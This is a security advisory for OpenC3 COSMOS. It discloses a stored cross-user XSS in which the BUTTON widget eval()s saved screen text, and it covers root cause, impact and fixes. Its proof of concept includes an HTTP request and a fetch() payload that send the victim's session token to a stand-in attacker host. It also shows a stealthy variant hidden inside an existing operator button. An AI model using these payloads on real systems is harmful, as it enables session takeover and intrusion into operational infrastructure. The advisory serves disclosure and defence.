GHSA-gvf2-2rh5-mpgf
OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget
Quick fix
GHSA-gvf2-2rh5-mpgf — @openc3/vue-common: upgrade to the fixed version with the command below.
npm install @openc3/vue-common@7.3.0Details
## Summary A user who can save a telemetry **screen** (permission `system_set`) can embed JavaScript in a screen `BUTTON` widget. The `BUTTON` widget **`eval()`s the stored button text in the browser** when the button is activated, and screens are **shared content rendered to other users in the scope**. As a result, an attacker's stored JavaScript executes **in a different operator's authenticated session** — a **stored, cross-user XSS** (not self-XSS). The payload runs in the COSMOS origin and can read `localStorage.openc3Token` (the victim's session token), enabling **session/account takeover** and, via the victim's privileges, a path to server-side code execution through the Script Runner.
The site's Content-Security-Policy permits `'unsafe-inline'`/`'unsafe-eval'` (see "Contributing factor"), so the injected script runs unimpeded.
- **Product:** OpenC3 COSMOS (Core; likely Enterprise — see scoping note) - **Affected version:** confirmed **7.2.0** (latest, tested 2026-06-25); the code path is present on `main`. Lower bound for maintainer to confirm. - **Reporter:** _Arpit Kubadia_
## Description & root cause 1. **Screen save (the store):** `POST /openc3-api/screen` → `ScreensController#create` (`openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43`) persists the raw screen text after `authorization('system_set')`. No sanitization of the screen body. 2. **The sink (the execution):** the `BUTTON` widget stores the button's action as its second parameter and **`eval()`s it on click** — `openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109`: ```js const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen ... const result = eval(lines[i].trim()) // attacker-controlled string -> arbitrary JS in the victim's session ``` 3. **Cross-user delivery:** screens are stored per-scope and rendered to **any** user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser. 4. **Contributing factor (CSP):** `openc3-traefik/traefik.yaml:63` sets `script-src 'unsafe-inline' 'unsafe-eval' https: blob: ...` on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)
## Proof of Concept
### A. Minimal PoC — a button that steals the viewer's token (verified) Authenticated as any user (Core) / a `system_set` user (Enterprise), store a screen: ``` POST /openc3-api/screen HTTP/1.1 Host: localhost:2900 Content-Type: application/json Authorization: ses_<YOUR_TOKEN> Content-Length: 224
{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"} ``` → HTTP 200, body `true`. **Trigger (as the victim):** open `http://<host>:2900/tools/tlmviewer` → Target `INST`, Screen `XSSPOC` → click **Refresh**. The victim's session token is exfiltrated to `ATTACKER-COLLABORATOR`. *(Verified: an out-of-band request carrying a live `ses_…` token was received at the attacker host.)*
A purely visual variant: replace the action with `alert(localStorage.openc3Token)`.
### B. Realistic exploitation — hijack an EXISTING operational screen (no lure) The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators **already use**, hiding the payload behind a button they **already click**: - The `BUTTON` action is `eval`'d after `this.eval.split(';;')`, so **appending `;; <payload>` to an existing button keeps the original command working and adds the attacker's code**. The operator sees no change. - Example: take the stock `INST COMMANDING` screen's **`Start Collect`** button (which sends `api.cmd('INST COLLECT ...')`) and append: ``` ... + " ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))" ``` Re-save the screen (`POST /openc3-api/screen`, same route). Now every operator who opens COMMANDING and clicks `Start Collect` during normal operations sends the real command **and** leaks their session token. No new button, no behavioral change, no social-engineering lure.
## Impact The injected script runs with the victim's session in the COSMOS origin. It can: - **Exfiltrate the victim's session token** (`localStorage.openc3Token`) → session/account takeover (the token is a bearer credential accepted in the `Authorization` header). - Act as the victim against the API, and — for a victim with script privileges — pivot to the **Script Runner** to achieve **server-side code execution** (the documented escalation chain). This is **cross-user / persistent**: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.
## Remediation 1. **Do not `eval()` screen-supplied strings.** Replace the `BUTTON` widget's `eval` with a constrained, non-`eval` command interface (an allow-listed API surface / safe expression evaluator), or sandbox it. 2. **Tighten the CSP** (`openc3-traefik/traefik.yaml`): remove `'unsafe-inline'`/`'unsafe-eval'`, move to per-request `nonce` + `'strict-dynamic'`, add `object-src 'none'`, `base-uri 'self'`, `frame-ancestors 'self'`. This alone neutralizes injected inline/eval'd script. 3. **Treat screens as untrusted, cross-user content** — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general `system_set`.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf[WEB]
- https://github.com/OpenC3/cosmos/pull/3560[WEB]
- https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3[WEB]
- https://github.com/OpenC3/cosmos[PACKAGE]
- https://github.com/OpenC3/cosmos/releases/tag/v7.3.0[WEB]